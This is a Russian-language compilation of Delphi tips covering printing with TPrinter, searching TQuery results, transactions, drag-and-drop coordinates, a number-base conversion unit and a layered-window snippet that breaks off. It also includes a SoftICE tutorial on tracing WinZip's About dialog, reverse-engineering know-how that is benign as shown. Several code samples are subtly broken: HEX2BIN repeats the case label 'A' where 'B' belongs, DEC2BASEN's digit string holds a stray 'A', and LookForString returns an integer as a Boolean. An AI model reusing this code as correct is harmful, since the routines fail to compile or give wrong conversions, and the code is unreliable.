Этот невизуальный компонент предназначен для вывода графической информации на принтер. Преимущества перед использованием стандартного объекта TPrinter в том, что координаты задаются не в пикселях, а в миллиметрах или дюймах; существует удобное окно преварительного просмотра (котрое можно переопределить), позволяющее просматривать содержимое в любом масштабе. Правильное масштабирование под любой принтер с любым разрешением происходит автоматически. Дополнительные возможности: рисование градиентными кистями и рисование регионов сохранение/загрузка в файлы; экспорт в BMP-, EMF-, JPG-форматы. Замеченные недостатки: Скорость прорисовки в окне предосмотра падает при увеличении масштаба. Не поддерживается различная ориентация на отдельных страницах (Михаил) Не поддерживается просмотр на двух страницах одновременно (Михаил) возникает ошибка при создании компонента, если не установлен текущий принтер (Kambiz Khojasteh) Документация и пример прилагается на домашней странице автора.

Скачать компонент:

С домашней страницы автора: Компонент с иходными кодами (52К) Помощь в формате chm (107К) Сервер Торри: http://www.torry.net/vcl/print/previews/rkprintpreview.zip (580K) Архивы Королевства: http://delphi.mtu-net.ru/zip/rkprintpreview.zip (580К)

Класс TPrinter.

Разговаривают два друга о компах, и разговор зашел про Билла Гейтса и его компе: - Интересно, какая у Билла Гейтса видюха? - Какая-нибудь Джи-Форс, последней модели... - Хм, а какой у него камень? Пент 5-й? - Такого еще не продают... - А у него уже есть... - Хе, и стоят у него Линуха!
Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi1 он имеет "глюк" - не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers :

PROPERTY

Aborted:boolean - Показывает, что процесс печати прерван Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта. Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее) Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape) PageHeight:integer - Высота листа в пикселах PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage PageWidth:integer - Ширина листа в пикселах PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers Printers:Tstrings - Список доступных принтеров Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати

METODS

AssignPrn(f:TextFile) - Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях. Abort - Сбросить печать BeginDoc - Начать печать NewPage - Начать новую страницу EndDoc - Завершить печать.

Пример :

Procedure TForm1.Button1Click(Sender: TObject);
Begin
 With Printer do Begin
  // Начало печати
  BeginDoc; 
  // Задали шрифт
  Canvas.Font:=label1.font; 
  // Печатаем текст
  Canvas.TextOut(100,100,'Delphi World - лучше всех !!! :) ');
  // Конец печати
  EndDoc; 
 end;
end;

Пример использования TPrinter.

Автор: Jeff Fisher Может ли мне кто-либо сказать, как с помощью TPrinter сделать следующее?: Замена исходного Paper Bin страницей. Создание отчета, который нужно переключать между двумя бункерами (некоторым страницам отчета нужно работать с другим бункером, например бланки писем и пр.). Печать нескольких копий отчета. Для этого желательно использовать диалог настройки принтера, но это, похоже, не работает.То, что вы собираетесь делать, возможно с помощью структуры TDevMode, получив к которой доступ, можно делать необходимые вам изменения. Структура TDevMode имеет все необходимые для настройки принтера поля и позволяет сделать любые настройки не обращаясь к диалогу настройки принтера.

Вот пример одного из моих компонентов, инкапсулирующий вышесказанную функциональность:

procedure TCrpePrinter.GetCurrentPrinter;
var
  lpDevice: PChar;
  lpDriver: PChar;
  lpPort: PChar;
  Handle: THandle;
begin
  lpDevice := StrAlloc(255);
  lpDriver := StrAlloc(255);
  lpPort := StrAlloc(255);
  try
    Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
    if Handle <> 0 then
      { если это не 0, то мы имеем указатель на структуру устройства}
    begin
      FDevMode := Ptr(Handle, 0); {Получаем дескриптор структуры устройства}
      FDevice := StrPas(lpDevice);
      FDriver := StrPas(lpDriver);
      FPort := StrPas(lpPort);
    end
    else
    begin
      Printer.PrinterIndex := Printer.PrinterIndex;
        {Этим мы пытаемся осуществить инициализацию}
      Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
      if Handle <> 0 then
      begin
        FDevMode := Ptr(Handle, 0);
        FDevice := StrPas(lpDevice);
        FDriver := StrPas(lpDriver);
        FPort := StrPas(lpPort);
      end
      else
      begin
        FDevMode := nil;
        raise ECrpe.Create('Ошибка загрузки драйвера принтера');
      end;
    end;
  finally
    StrDispose(lpDevice);
    StrDispose(lpDriver);
    StrDispose(lpPort);
  end;
end;

Изменение лотка и количества копий:

dmCopies := 2;
dmDefaultSource := 2;  {Нижний лоток}

Как только вы получите указатель на структуру devmode, вы вправе делать изменения любых полей. Говорят, могут быть проблемы при изменении лотков во время печати, но сам я не пробовал менять эти поля в структуре DevMode.

Особенности работы с TPrinter.

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново 2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и , главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".

3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.

Поиск записи с помощью TQuery.

Как мне найти запись (осуществить 'Find') в TQuery? Я привел ниже код, который я использую в своей работе, правда, в нем еще необходимо организовать обработку исключительных ситуаций, но это дело времени. Когда пользователь нажимает кнопку "Найти", обработчик события OnClick вызывает процедуру SearchName.

Объявляем: FindSearch : Boolean и инициализируем значением True.

function LookForString(target, source: string): boolean;
{ в случае игнорирования перед вызовом pos необходимо
преобразовать source и target в верхний регистр }
begin
  LookForString := pos(target, source);
end;
procedure SearchName(searchtype: string; stringtofind: string);
var
  OldCursor: TCursor;
  CurrentPos: TBookmark;
  found: boolean;
begin
  if Form1.Query1.State = dsEdit then
    Form1.Query1.Post;
  if StringToFind = '' then
    exit;
  OldCursor := Screen.Cursor;
  Screen.Cursor := crHourGlass;
  with Form1 do
  begin
    CurrentPos := Query1.GetBookmark;
    Query1.DisableControls;
    found := false;
    if searchtype <> 'prev' then { первый или следующий }
    begin
      if searchtype = 'first' then
        Query1.First
      else if not Query1.EOF then
        Query1.Next;
      while (not Query1.EOF) and (not found) do
      begin
        if LookForString(StringToFind, MemberName) <> 0 then
          found := true;
        if not found then
          Query1.Next;
      end;
    end
    else
    begin { prev }
      if not Query1.BOF then
        Query1.Prior;
      while (not Query1.BOF) and (not found) do
      begin
        if LookForString(StringToFind, MemberName) <> 0 then
          found := true;
        if not found then
          Query1.Prior;
      end;
    end;
    Screen.Cursor := OldCursor;
    if found then
    begin
      FindSearch := false;
      ChangeFindCaption;
      UpdateStatusLabel;
    end
    else
    begin
      MessageDlg('Больше ничего не найдено.', mtInformation,
        [mbOK], 0);
      Query1.GotoBookmark(CurrentPos);
    end;
    Query1.EnableControls;
    Query1.FreeBookmark(CurrentPos);
  end; { конец работы с Form1 }
end;
procedure TForm1.FindButtonClick(Sender: TObject);
begin
  if FindSearch then
    SearchName('first', Page0Edit.Text)
  else
    SearchName('next', Page0Edit.Text);
end;

Поиск записи с помощью TQuery 2.

Компонент TQuery не предусматривает основанный на индексе поиск, подобный реализованному в компоненте TTable (FindKey, GotoKey и GotoNearest). Поэтому возникает следующий вопрос: как в данных, возвращаемых запросом TQuery, найти определенную запись? Один из путей поиска в результатах запроса является последовательный поиск. Данный тип поиска стартует в первой строке набора данных и, с помощью цикла, последовательно сравнивает значения полей с искомой величиной. Возможно достижение одного из двух результатов: величина будет найдена (успех) или будет достигнут конец набора данных (неудача). Самый большой недостаток этого способа поиска заключается в том, что он самый медленный, поскольку искомая величина может оказаться в одной их последних записей, а для этого придется перебрать весь набор данных. При неудаче он должен перебрать весь набор данных. При интенсивном поиске данный метод займет большую часть времени вычислений.

Вот функция, выполняющая последовательный поиск в результатах запроса TQuery:

var
  pb: TProgressBar;
begin
...
function SeqSearch(AQuery: TQuery; AField, AValue: String): Boolean;
begin
  with AQuery do 
  begin
    First;
    while (not Eof) and (not (FieldByName(AField).AsString = AValue)) do
      Next;
    SeqSearch := not Eof;
  end;
end;
Данная функция требует три параметра: AQuery: тип TQuery; компонент TQuery, в котором необходимо выполнить поиск. AField: тип String; имя поля, с величиной которого проиходит сравнение значение поиска. AValue: тип String; искомая величина. Если поля имеет тип отличный от типа String, искомая величина должна быть преобразована к типу данных.Возвращаемая логическая величина указывает на успешность выполнения функции (True) или отсутствие результата поиска (False). Альтернативой служит использование метода заключения в скобки. На концептуальном уровне данный метод действует отчасти подобно индексу bb-дерева. Он основывается на методе сравнения значения текущей строки набора данных и искомой величины с последующей проверкой на выполнение одного из трех возможных условий: Величина поля будет больше чем значение поиска, или... Величина поля будет меньше чем значение поиска, или... Величина поля равняется значению поиска.Данный метод сужает область данных, отбрасывая при каждой итерации записи, не удовлетворяющие приведенным выше условиям до тех пор, пока первые два условия выполняться не будут. Полученные данные сравнивается с искомой величиной и, если они совпадают, считается что функция выполнена успешно (success), или окончилась неудачей (failure, если искомая величина ни разу не встретилась, т.е. результат поиска не содержит ни одной строки). Функционально данный процесс находит поля, удовлетворяющие условиям поиска, за количество итераций меньшее или равное числу записей. При этом возможно только два результата сравнения текущего поля и искомой величины: меньше чем/равняется/больше чем. Первоначально устанавливается диапазон чисел. Меньшая граница диапазона задается целым числом, начало процесса поиска устанавливается на 0 или величину меньшую, чем значение первой строки набора данных. Верхняя граница диапазона является также целым числом, содержащим значение свойства RecordCount экземпляра TQuery. Текущий указатель строки перемещается в в точку, лежащую посередине между нижней и верхней границей диапазона. Значение записи в этой точке сравнивается с искомой величиной. Если значение поля меньше или равно искомой величине, значит искомая величина находится в нижней части набора данных, поэтому верхняя граница диапазона перемещается к позиции текущей строки. Если значение поля больше величины поиска, то искомая величина находится в верхней части набора данных, поэтому к текущему указателю перемещается нижняя граница диапазона. Повторяя этот процесс, количество удовлетворяющих условиям поиска записей при каждой итерации уменьшается в два раза. В конечном счете должна остаться только одна строка.

Код модульной, транспортабельной функции должно выглядеть примерно так:

function Locate(AQuery: TQuery; AField, AValue: string): Boolean;
var
  Hi, Lo: Integer;
begin
  with AQuery do
  begin
    First;
    {Устанавливаем верхнюю границу диапазона строк}
    Hi := RecordCount;
    {Устанавливаем нижнюю границу диапазона строк}
    Lo := 0;
    {Текущий указатель перемещаем в в точку, лежащую посередине
    между нижней и верхней границей диапазона}
    MoveBy(RecordCount div 2);
    while (Hi - Lo) > 1 do
    begin
      {Значение поля больше искомой величины, величина в первой половине}
      if (FieldByName(AField).AsString > AValue) then
      begin
        {Вычисляем нижнюю границу верхнего поддиапазона общего диапазона}
        Hi := Hi - ((Hi - Lo) div 2);
        MoveBy(((Hi - Lo) div 2) * -1);
      end
        {Найденное поле меньше искомой величины, нужно искать в верхней половине}
      else
      begin
        {Перемещаем вверх нижнюю границу общего диапазона}
        Lo := Lo + ((Hi - Lo) div 2);
        MoveBy((Hi - Lo) div 2);
      end;
    end;
    {Обрабатываем нечетную нумерацию строк}
    if (FieldByName(AField).AsString > AValue) then
      Prior;
    Locate := (FieldByName(AField).AsString = AValue)
  end;
end;
Последние строчки были добавлены для обработки ситуации, когда верхняя и нижняя границы диапазона различаются по четности строк. Данная функция также требует три параметра, как и функция SeqSearch, описанная выше. Величина, возвращаемая функцией, имеет тип Boolean и указывает на ее удачное или, наоборот, неудачное завершение. Так как процесс поиска перемещает указатель строки, то вызывающее приложение должно принимать во внимание эффект от такого перемещения и при неудачном поиске он должен быть возвращен на место. Например, указатель TBookmark может использоваться для того, чтобы возвращать указатель строки на то место, где он был до неудачного завершения функции. Чем этот метод лучше последовательного поиска? Во-первых, данный метод не производит сравнение всех строк, как это делает метод последовательного поиска, а опрашивает часть записей. Если искомая величина не располагается в числе первых 1,000 строк, то этот метод окажется быстрее чем метод последовательного поиска. Поскольку этот процесс всегда использует одинаковое количество записей, то время поиска будет одинаковым и когда искомая величина находится в записи с номером 1,000, и когда она находится в записи с номером 90,000. Это в корне отличается от последовательного поиска, когда время поиска напрямую зависит от местонахождения искомой величины.

Эти методы могут использоваться в любых результатах запроса TQuery? Нет. Все дело в технологии: описанные методы пользуются такими понятиями, как направление поиска, нижняя и верхняя границы диапазона. Это означает, что набор данных должен быть последователен и непрерывен, т.е. для получения результатов TQuery должен использовать SQL-запросы, содержащие ключевую фразу ORDER BY. Размер полученного набора данных также является показателем для выбора метода. Метод заключения в скобки выгоднее использовать при большом наборе данных. В случае, когда число записей невелико (1,000 и менее строк), метод последовательного поиска все же будет быстрее.

Введение в режимы трассировки SoftICE.

Автор: Fox Mulder
Из открытий компьютерной вирусологии: Оказывается, первый троян был конь!

Сегодня продолжаем учиться использовать SoftICE. Каждый исследователь программ должен уметь трассировать программы.

Трассировкой мы будем называть процесс пошагового выполнения программы. Под шагом программы обычно понимается выполнение одной команды, но здесь есть некоторые тонкости, которые как раз связаны с режимами трассировки.

В SoftICE существует два режима трассировки: внутренний и внешний.

внутренний - такой режим, когда по шагам выполняются все команды этой функции внешний - когда все команды функции выполняются за один шаг.

Давайте рассмотрим оба этих режима на примерах. В качестве исследуемой программы будем использовать уже знакомый нам WinZip 7.0. Но перед тем, как начать хотел бы обратить Ваше внимание вот на какую деталь: многие из Вас при работе с SoftICE используют Symbol Loader для загрузки программ. Так вот, делать этого не нужно - Symbol Loader предназначен для использования программистами, которые отлаживают свои программы. Для нас с Вами она практически бесполезна. Тогда у Вас может возникнуть вопрос: а как же загружать программу? Просто запускайте ее как обычно из меню Пуск и дальше работайте. Дело в том, что SoftICE запускается еще до загрузки Windows и Вы в любой момент можете его активизировать нажатием Ctrl+D, вне зависимости от того, загружали ли Вы программу через Symbol Loader или нет.

Запускаем WinZip, выбираем в меню Help пункт About WinZip... Появляется окно с информацией о WinZip. Далее активизируем SoftICE (Ctrl+D) и устанавливаем точку прерывания на вызов функции EndDialog(). Эта функция вызывается при закрытии диалогового окна (разговор о диалоговых окнах у нас впереди, но чтобы Вы представляли, что это такое, посмотрите на окно About WinZip - это типичный пример диалогового окна). При нажатии на кнопку ОК программа прерывается при вызове функции EndDialog(). Обратите внимание на надпись на самой нижней желтой линии: USER32 - она означает, что мы находимся не в модуле нашей программы (WINZIP32), а в модуле, в который загружена библиотека user32.dll Далее нажимаем F12, чтобы программа прервалась после выполнения команды ret и оказываемся в модуле нашей программы WINZIP32 по адресу 4013A0. Нам надо посмотреть текст программы немного выше этого адреса.

Для скроллирования (прокручивания) текста в окнах SoftICE служат стрелочки, расположенные с правой стороны окна. Существует два вида стрелочек: первые, похожие на треугольники, предназначены для прокрутки текста по одной стоке, другие, выглядящие как нормальные стрелки - для прокрутки текста постранично. Несколько раз нажимаем на верхнюю стрелочку для прокрутки текста построчно, пока не увидим строку 401397. После этого делаем двойной щелчок мышью по этой строке (в любом ее месте). Двойной щелчок по строке эквивалентен установке точки прерывания на выполнение команды по этому адресу. В нашем случае случае устанавливается точка прерывания на выполнение команды по адресу 401397 (эквивалентом двойного щелчка в данном случае будет команда bpx 401397, но работать мышью гораздо удобнее). Строка, на которую установлена точка прерывания выделяется зеленым цветом. Удалить установленную точку прерывания можно сделав на ней двойной щелчок еще раз.

Теперь давайте посмотрим какие точки прерывания у нас установлены. Список установленных точек прерывания выдается по команде bl (breakpoint list). У нас установлены две точки прерывания поэтому список будет иметь следующий вид:

00) bpx USER32!EndDialog
01) bpx #0137:00401397

Слева выводится номер установленной точки прерывания. 0 - это точка прерывания на выполнение API-функции EndDialog(), 1 - точка прерывания на выполнение команды по адресу 401397. С точками прерывания можно производить следующие действия: отключать установленные, включать выключенные точки прерывания, редактировать и удалять.

Давайте попробуем отключить точку прерывания на вызов функции EndDialog(). Для отключения точки прерывания используется команда bd (breakpoint disable), после которой необходимо указать ее номер (в нашем случае - 0), т.е. вводим команду bd 0. Убедиться в том, что точка прерывания действительно отключена мы можем с помощью команды bl. Вводим bl и получаем следующий список установленных точек прерывания:

00)*bpx USER32!EndDialog
01) bpx #0137:00401397

Обратите внимание, что в нулевой строке появилась звездочка. Этот символ означает, что точка прерывания отключена.

Для чего используют отключение точек прерывания? Рассмотрим на нашем примере. Сначала нам была нужна точка прерывания на вызов функции EndDialog(), но после того, как мы нашли, в каком месте программы она вызывается такая необходимость пропала. В принципе, можно эту точку прерывания удалить, но если Вы думаете, что она может Вам еще понадобиться через некоторое время, но до этого не должна функционировать, то лучше ее отключить. Это избавит Вас от траты времени на повторную установку этой точки прерывания в будущем.

Для продолжения выполнения программы нажимаем F5. Вновь выбираем в меню Help пункт About WinZip... Нажимаем кнопку ОК - программа прерывается при выполнении команды по адресу 401397 (об этом сообщается в окне команд SoftICE).

Попробуем выполнить внешнюю трассировку участка программы. Для внешней трассировки используется команда p(горячая клавиша F10). После первого нажатия F10 курсор перемещается на следующую строку 401399 - выполнилась команда push 01. При втором нажатии F10 выполняется команда push ebx и курсор устанавливается на строке 40139A. В этой строке выполняется вызов API-функции EndDialog(). После нажатия F10 курсор перемещается на следующую строку 4013A0, т.е. вся функция EndDialog() выполняется как одна команда. Это удобно, когда не важно, что происходит внутри функции, а время трассировки хотелось бы сократить.

Если же Вам необходимо знать, что происходит внутри функции, то тогда Вам необходимо использовать внутреннюю трассировку. Внутренняя трассировка выполняется командой t (горячая клавиша F8).

Для продолжения программы нажимаем F5, далее вновь выбираем questions/About Winzip... Программа прерывается по адресу 401397. Два раза нажимаем F8 (команды push в обоих режимах выполняются совершенно одинаково) и оказываемся вновь в стоке 40139A. После нажатия F8 курсор оказывается не на следующей строке, как в предыдущем режиме, а в начале функции EndDialog() в модуле USER32 (адрес BFF61ABE). При нажатия F8 выполняется команда mov cl, 9Ah и курсор перемещается на следующую строку, т.е. Вы можете выполнять трассировку функции. Если функция достаточно длинная, а Вы уже узнали все, что хотели и не желаете бесцельно трассировать ее до конца, можете воспользоваться командой p ret (горячая клавиша F12) которая прерывает программу после выполнения команды ret (команда возврата из функции). Нажмите F12 и программа прервется по знакомому нам уже адресу 4013A0, сразу после вызова функции EndDialog().

Надеюсь, все что я написал Вам понятно.

Работа с транзакциями.

Если программист в 09.00 утра уже на работе, значит он ещё на работе...
dbMain.StartTransaction;
try
  spAddOrder.ParamByName('ORDER_NO').AsInteger := OrderNo;
  spAddOrder.ExecProc;
  for i := 0 to PartList.Count - 1 do
  begin
     spReduceParts.ParamByName('PART_NO').AsInteger := PartRec(PartList.Objects[i]).PartNo;
     spReduceParts.ParamByName('NUM_SOLD').AsInteger := PartRec(PartList.Objects[i]).NumSold;
  end;
  dbMain.Commit;
except
  dbMain.RollBack;
  raise;
end;

Преобразование координат.

Автор: Neil Поверьте, достаточно просто преобразовать X,Y координаты, передаваемые в параметрах событий OnDragOver и OnDragDrop, в координаты формы.

Работайте со свойствами Left и Top компонента, над которым перемещается курсор. Приведу простой пример. Поместите на форму компонент Memo и присвойте свойству Align значение alTop. Поместите на форму панель, также присвойсте свойству Align значение alTop и задайте небольшое значение свойству Height, скажем 6 или 7 пикселей. Установите DragMode на dmAutomatica и DragCursor на crVSplit. Поместите другой Memo-компонент и установите Align на alClient. Одновременно выберите оба Memo-компонента, панель и создайте общий обработчик события OnDragOver как показано ниже:

procedure TForm1.Memo1DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  if Source = Panel1 then
    with Sender as TControl do
    begin
      Accept := True;
      Memo1.Height := Y + Top;
    end
  else
    Accept := False;
end;

Теперь попробуйте это!

Перевод между системами исчисления.

Автор: НЖкоn Stordahl WEB сайт: http://stordahl.home.ml.org
Хороший СисОп - пьяный СисОп...
unit CONVUNIT;
{ CONVUNIT UNIT 1.1                 }
{ Copyright (C) 1997 НЖкоn Stordahl }
{ E-mail  : stordahl@usa.net             }
{ Homepage: http://stordahl.home.ml.org/ }
interface
function DEC2BIN(DEC: LONGINT): string;
function BIN2DEC(BIN: string): LONGINT;
function DEC2HEX(DEC: LONGINT): string;
function HEX2DEC(HEX: string): LONGINT;
function DEC2OCT(DEC: LONGINT): string;
function OCT2DEC(OCT: string): LONGINT;
function BIN2HEX(BIN: string): string;
function HEX2BIN(HEX: string): string;
function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
{ This function converts numbers from decimal (Base 10 notation) to
  different systems of notation. Valid systems are from Base 2 notation
  to Base 36 notation }
function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
{ This function converts numbers from different systems of notation
  to decimal (Base 10 notation). Valid systems are from Base 2 notation
  to Base 36 notation }
implementation
function DEC2BIN(DEC: LONGINT): string;
var
  BIN: string;
  I, J: LONGINT;
begin
  if DEC = 0 then
    BIN := '0'
  else
  begin
    BIN := '';
    I := 0;
    while (1 shl (I + 1)) < = DEC do
      I := I + 1;
    { (1 SHL (I + 1)) = 2^(I + 1) }
    for J := 0 to I do
    begin
      if (DEC shr (I - J)) = 1 then
        BIN := BIN + '1'
          { (DEC SHR (I - J)) = DEC DIV 2^(I - J) }
      else
        BIN := BIN + '0';
      DEC := DEC and ((1 shl (I - J)) - 1);
      { DEC AND ((1 SHL (I - J)) - 1) = DEC MOD 2^(I - J) }
    end;
  end;
  DEC2BIN := BIN;
end;
function BIN2DEC(BIN: string): LONGINT;
var
  J: LONGINT;
  Error: BOOLEAN;
  DEC: LONGINT;
begin
  DEC := 0;
  Error := False;
  for J := 1 to Length(BIN) do
  begin
    if (BIN[J] < > '0') and (BIN[J] < > '1') then
      Error := True;
    if BIN[J] = '1' then
      DEC := DEC + (1 shl (Length(BIN) - J));
    { (1 SHL (Length(BIN) - J)) = 2^(Length(BIN)- J) }
  end;
  if Error then
    BIN2DEC := 0
  else
    BIN2DEC := DEC;
end;
function DEC2HEX(DEC: LONGINT): string;
const
  HEXDigts: string[16] = '0123456789ABCDEF';
var
  HEX: string;
  I, J: LONGINT;
begin
  if DEC = 0 then
    HEX := '0'
  else
  begin
    HEX := '';
    I := 0;
    while (1 shl ((I + 1) * 4)) < = DEC do
      I := I + 1;
    { 16^N = 2^(N * 4) }
    { (1 SHL ((I + 1) * 4)) = 16^(I + 1) }
    for J := 0 to I do
    begin
      HEX := HEX + HEXDigts[(DEC shr ((I - J) * 4)) + 1];
      { (DEC SHR ((I - J) * 4)) = DEC DIV 16^(I - J) }
      DEC := DEC and ((1 shl ((I - J) * 4)) - 1);
      { DEC AND ((1 SHL ((I - J) * 4)) - 1) = DEC MOD 16^(I - J) }
    end;
  end;
  DEC2HEX := HEX;
end;
function HEX2DEC(HEX: string): LONGINT;
  function Digt(Ch: CHAR): BYTE;
  const
    HEXDigts: string[16] = '0123456789ABCDEF';
  var
    I: BYTE;
    N: BYTE;
  begin
    N := 0;
    for I := 1 to Length(HEXDigts) do
      if Ch = HEXDigts[I] then
        N := I - 1;
    Digt := N;
  end;
const
  HEXSet: set of CHAR = ['0'..'9', 'A'..'F'];
var
  J: LONGINT;
  Error: BOOLEAN;
  DEC: LONGINT;
begin
  DEC := 0;
  Error := False;
  for J := 1 to Length(HEX) do
  begin
    if not (UpCase(HEX[J]) in HEXSet) then
      Error := True;
    DEC := DEC + Digt(UpCase(HEX[J])) shl ((Length(HEX) - J) * 4);
    { 16^N = 2^(N * 4) }
    { N SHL ((Length(HEX) - J) * 4) = N * 16^(Length(HEX) - J) }
  end;
  if Error then
    HEX2DEC := 0
  else
    HEX2DEC := DEC;
end;
function DEC2OCT(DEC: LONGINT): string;
const
  OCTDigts: string[8] = '01234567';
var
  OCT: string;
  I, J: LONGINT;
begin
  if DEC = 0 then
    OCT := '0'
  else
  begin
    OCT := '';
    I := 0;
    while (1 shl ((I + 1) * 3)) < = DEC do
      I := I + 1;
    { 8^N = 2^(N * 3) }
    { (1 SHL (I + 1)) = 8^(I + 1) }
    for J := 0 to I do
    begin
      OCT := OCT + OCTDigts[(DEC shr ((I - J) * 3)) + 1];
      { (DEC SHR ((I - J) * 3)) = DEC DIV 8^(I - J) }
      DEC := DEC and ((1 shl ((I - J) * 3)) - 1);
      { DEC AND ((1 SHL ((I - J) * 3)) - 1) = DEC MOD 8^(I - J) }
    end;
  end;
  DEC2OCT := OCT;
end;
function OCT2DEC(OCT: string): LONGINT;
const
  OCTSet: set of CHAR = ['0'..'7'];
var
  J: LONGINT;
  Error: BOOLEAN;
  DEC: LONGINT;
begin
  DEC := 0;
  Error := False;
  for J := 1 to Length(OCT) do
  begin
    if not (UpCase(OCT[J]) in OCTSet) then
      Error := True;
    DEC := DEC + (Ord(OCT[J]) - 48) shl ((Length(OCT) - J) * 3);
    { 8^N = 2^(N * 3) }
    { N SHL ((Length(OCT) - J) * 3) = N * 8^(Length(OCT) - J) }
  end;
  if Error then
    OCT2DEC := 0
  else
    OCT2DEC := DEC;
end;
function BIN2HEX(BIN: string): string;
  function SetHex(St: string; var Error: BOOLEAN): CHAR;
  var
    Ch: CHAR;
  begin
    if St = '0000' then
      Ch := '0'
    else if St = '0001' then
      Ch := '1'
    else if St = '0010' then
      Ch := '2'
    else if St = '0011' then
      Ch := '3'
    else if St = '0100' then
      Ch := '4'
    else if St = '0101' then
      Ch := '5'
    else if St = '0110' then
      Ch := '6'
    else if St = '0111' then
      Ch := '7'
    else if St = '1000' then
      Ch := '8'
    else if St = '1001' then
      Ch := '9'
    else if St = '1010' then
      Ch := 'A'
    else if St = '1011' then
      Ch := 'B'
    else if St = '1100' then
      Ch := 'C'
    else if St = '1101' then
      Ch := 'D'
    else if St = '1110' then
      Ch := 'E'
    else if St = '1111' then
      Ch := 'F'
    else
      Error := True;
    SetHex := Ch;
  end;
var
  HEX: string;
  I: INTEGER;
  Temp: string[4];
  Error: BOOLEAN;
begin
  Error := False;
  if BIN = '0' then
    HEX := '0'
  else
  begin
    Temp := '';
    HEX := '';
    if Length(BIN) mod 4 < > 0 then
      repeat
        BIN := '0' + BIN;
      until Length(BIN) mod 4 = 0;
    for I := 1 to Length(BIN) do
    begin
      Temp := Temp + BIN[I];
      if Length(Temp) = 4 then
      begin
        HEX := HEX + SetHex(Temp, Error);
        Temp := '';
      end;
    end;
  end;
  if Error then
    BIN2HEX := '0'
  else
    BIN2HEX := HEX;
end;
function HEX2BIN(HEX: string): string;
var
  BIN: string;
  I: INTEGER;
  Error: BOOLEAN;
begin
  Error := False;
  BIN := '';
  for I := 1 to Length(HEX) do
    case UpCase(HEX[I]) of
      '0': BIN := BIN + '0000';
      '1': BIN := BIN + '0001';
      '2': BIN := BIN + '0010';
      '3': BIN := BIN + '0011';
      '4': BIN := BIN + '0100';
      '5': BIN := BIN + '0101';
      '6': BIN := BIN + '0110';
      '7': BIN := BIN + '0111';
      '8': BIN := BIN + '1000';
      '9': BIN := BIN + '1001';
      'A': BIN := BIN + '1010';
      'A': BIN := BIN + '1011';
      'C': BIN := BIN + '1100';
      'D': BIN := BIN + '1101';
      'E': BIN := BIN + '1110';
      'F': BIN := BIN + '1111';
    else
      Error := True;
    end;
  if Error then
    HEX2BIN := '0'
  else
    HEX2BIN := BIN;
end;
function Potens(X, E: LONGINT): LONGINT;
var
  P, I: LONGINT;
begin
  P := 1;
  if E = 0 then
    P := 1
  else
    for I := 1 to E do
      P := P * X;
  Potens := P;
end;
function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
{ This function converts numbers from decimal (Base 10 notation) to
  different systems of notation. Valid systems are from Base 2 notation
  to Base 36 notation }
const
  NUMString: string = '0123456789ABCDEFGHAIJKLMNOPQRSTUVWXYZ';
var
  NUM: string;
  I, J: INTEGER;
begin
  if (DEC = 0) or (BASE < 2) or (BASE > 36) then
    NUM := '0'
  else
  begin
    NUM := '';
    I := 0;
    while Potens(BASE, I + 1) < = DEC do
      I := I + 1;
    for J := 0 to I do
    begin
      NUM := NUM + NUMString[(DEC div Potens(BASE, I - J)) + 1];
      DEC := DEC mod Potens(BASE, I - J);
    end;
  end;
  DEC2BASEN := NUM;
end;
function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
{ This function converts numbers from different systems of notation
  to decimal (Base 10 notation). Valid systems are from Base 2 notation
  to Base 36 notation }
  function Digt(Ch: CHAR): BYTE;
  const
    NUMString: string = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  var
    I: BYTE;
    N: BYTE;
  begin
    N := 0;
    for I := 1 to Length(NUMString) do
      if Ch = NUMString[I] then
        N := I - 1;
    Digt := N;
  end;
const
  NUMSet: set of CHAR = ['0'..'9', 'A'..'Z'];
var
  J: INTEGER;
  Error: BOOLEAN;
  DEC: LONGINT;
begin
  DEC := 0;
  Error := False;
  if (BASE < 2) or (BASE > 36) then
    Error := True;
  for J := 1 to Length(NUM) do
  begin
    if (not (UpCase(NUM[J]) in NUMSet)) or (BASE < Digt(NUM[J]) + 1) then
      Error
        := True;
    DEC := DEC + Digt(UpCase(NUM[J])) * Potens(BASE, Length(NUM) - J);
  end;
  if Error then
    BASEN2DEC := 0
  else
    BASEN2DEC := DEC;
end;
end.

Прозрачность.

interface
uses
  Windows, Messages, Forms;
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  end;
const
  WS_EX_LAYERED = $80000;
function SetLayeredWindowAttributes(hWindow : HWND; crKey : DWORD; bAlpha : Byte;
dwFlags : DWORD) : BOOL; stdcall; external user32 name 'SetLayeredWindowAttributes';
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
